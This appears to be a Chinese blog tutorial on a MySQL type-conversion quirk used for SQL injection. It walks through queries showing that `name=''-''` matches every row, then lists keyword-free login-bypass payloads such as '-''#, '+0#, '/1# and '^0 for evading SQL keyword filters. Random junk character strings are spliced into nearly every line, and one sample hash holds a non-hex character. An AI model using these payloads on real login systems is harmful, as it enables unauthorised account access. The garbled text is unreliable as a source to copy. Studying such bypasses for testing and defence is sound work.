我们先来看这样一个场景。! p3 x; c2 d) @+ K' S' h P6 s
有以下表结构:
5 d. z. |; r# @% B
8 i, F' }2 _! }/ h4 a4 a# Amysql> desc admin;' b& w8 \/ F+ c, y4 ~. {* `
+----------+--------------+------+-----+---------+----------------+
* d4 m9 J2 S9 J& v8 r1 y$ k| Field | Type | Null | Key | Default | Extra |
8 G" W. p% `' A$ \+----------+--------------+------+-----+---------+----------------+" ~9 u7 C! P& B; Q0 m) o0 v, p: H
| id | mediumint(9) | NO | PRI | NULL | auto_increment |- x a" M' Q$ L& b' {& F1 o7 y r v
| name | char(32) | NO | UNI | NULL | |
4 y% S4 t; w) E7 \- \| password | char(32) | NO | UNI | NULL | |. }$ z$ E5 s' H8 d& j2 |" p" A& D
+----------+--------------+------+-----+---------+----------------+
. D1 s d4 S7 G7 @% P2 m: S3 rows in set (0.00 sec)( a, h: m9 l* f
执行select * from admin;,成功返回所有记录内容。
3 W4 T; C0 C; I0 h8 r
( n2 ^7 i3 q6 ~. Z! L5 T; N1 x6 X( } O
+----+--------+----------------------------------+8 |0 A7 E0 `, Z6 I
| id | name | password |
. P' S* N4 E4 e' n( H' m+----+--------+----------------------------------+
- N0 n' V5 M; _. Z ^$ W| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
+ b1 F {1 j/ t8 M4 x9 G; i$ J| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
2 b6 j0 B; I! I9 A1 W1 ]! I0 ?/ b| 4 | n00b | ff80e8508d39047460921792273533a4 |7 L2 Y. Z9 b3 d
+----+--------+----------------------------------+% S8 M+ g N: o* u6 J
3 rows in set (0.00 sec)
D2 P. T; _# v+ ~执行select * from admin where name=”;,没有匹配到任何记录。 6 e/ d7 y$ F, L. S
2 A2 |" L' v! x# }mysql> select * from admin where name = '';
" B4 q/ f7 E8 T/ ]3 y8 J F5 I; CEmpty set (0.00 sec)7 V( M8 s& p& a b4 B5 U$ q
那么我们来执行select * from admin where name = ”-”;' J9 _/ j; n$ D% x) K2 \
9 v- e) p6 ^% e, C
" y/ O, u6 A) n+----+--------+----------------------------------+$ |1 c: E1 B9 g- E/ f
| id | name | password |& p( v: c3 I" I! Z: M% b
+----+--------+----------------------------------+: x8 _# h' j4 N" u
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |0 q3 M2 J) Q0 p- H0 ~) k9 O0 m
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ S) {3 s6 G! [" r' r; q" l3 Q
| 4 | n00b | ff80e8508d39047460921792273533a4 |1 d1 d% V8 a- K8 `9 q$ H
+----+--------+----------------------------------+
2 I9 S8 O7 B' k' p% j3 rows in set, 3 warnings (0.00 sec)" b" i# p/ R# W5 v* J/ W
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
) b9 k) f$ n* |4 |3 x$ _, I
w: y8 g* v6 t7 [$ pmysql> show warnings;1 A5 N8 K5 f) `+ s8 }1 s5 ?
+---------+------+------------------------------------------9 |! i7 V3 P' ?
| Level | Code | Message
& w% z/ E9 g. ~+---------+------+------------------------------------------6 m. { ^. C- W) o5 M
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
4 C& R, m: r, d| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s- w9 n4 T4 x+ A G2 a3 Y* g0 G
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b! J; ^3 _/ s2 t* L
+---------+------+------------------------------------------
* ^; s3 M0 @ p3 rows in set (0.00 sec)& u$ I) V( {+ p# \0 g
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 % |: R. W E8 Y
7 W x% @, z9 E% E. O
mysql> select ''-'';
$ N6 N& f1 G6 X4 K% X \+-------+4 o1 }9 F c4 R3 G
| ''-'' |
; r: a$ r0 W C2 v7 {/ l( i+-------+) p% `3 Y$ v" t* t$ h
| 0 |/ R/ | `6 c/ Y* j# F4 l
+-------+
8 J, n( m) a; ?5 ^, y1 row in set (0.00 sec)
2 G# z& l0 P2 Q' [返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 6 Y0 B5 [! M4 s- e2 [$ E3 q
# _5 v. P$ t& qmysql> select CAST((select name from admin limit 1,1) as DECIMAL);8 T$ q& @: U% ^* Y7 l
+-----------------------------------------------------+3 S' J, }; @4 l* g8 {% G) S2 _
| CAST((select name from admin limit 1,1) as DECIMAL) |
0 l. Y+ d" ~ E" |7 V+-----------------------------------------------------+9 ]' @7 J% \2 r
| 0 |
2 Q7 o) a2 m* D+-----------------------------------------------------+
* p7 b3 E) g7 B/ n5 v, u: q1 row in set, 1 warning (0.00 sec)4 A9 {/ n8 M' P3 x
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 - q0 ]6 z* \! \( B/ Q( ]: M
( v0 d' G8 S; r8 X; ]
SQL注入场景: http://www.sqlzoo.net/hack/
, \+ R, B; P) x, ~* ~) F. [$ T, P/ ?( U: E
; J/ h8 C3 i. K
7 O: F2 N, n' M3 @
1 _, e+ c' R5 a# `5 Q如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
# I- f6 c& @; j$ i* K4 S) {6 q2 d2 q( n! ?1 i3 R. F7 K7 W
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
' I" C, A+ w2 S* V& ]) L4 ?+ {/ R9 B5 m6 N; F
$ O5 c: M# S$ n5 w$ }. a
- N8 ?6 A$ e. v7 i) d* Z' N- W2 N3 ~
8 @$ o. e8 E$ N; _: b0 k仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
3 w, e2 L8 w) `* u/ Y* V o
+ @/ o" j' A6 C3 y " L* u9 q# H3 M' _1 b* r0 o& M
! D1 d# m4 D' t6 ^2 `; B+ b: N7 l
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
3 y, }4 Y& z' t
+ v! Q1 d5 g. ^: b$ Y, X5 x) Y9 w, y$ n9 f: N+ `% d' X
mysql> select ''/1;$ R5 ^$ z$ h \8 r7 h& Q" k7 i8 R2 S
+------+; a& k* R% i1 V/ n
| ''/1 |6 p* T& h' X% X2 ?
+------+
7 Y5 w" U4 j0 r. {' }| 0 |. `) a% D0 Y8 {" C. ?3 \& }' h
+------+
0 e1 g# q6 H- Q; Z. R6 z1 row in set (0.00 sec)
# k8 m8 h; J1 C. n9 u* W类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 3 F( A; m: R0 U8 h/ P4 z$ I0 T
- f% l2 E& a& b+ J j- d5 K
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
: ?, |( V5 y+ E% ~% b7 E |
|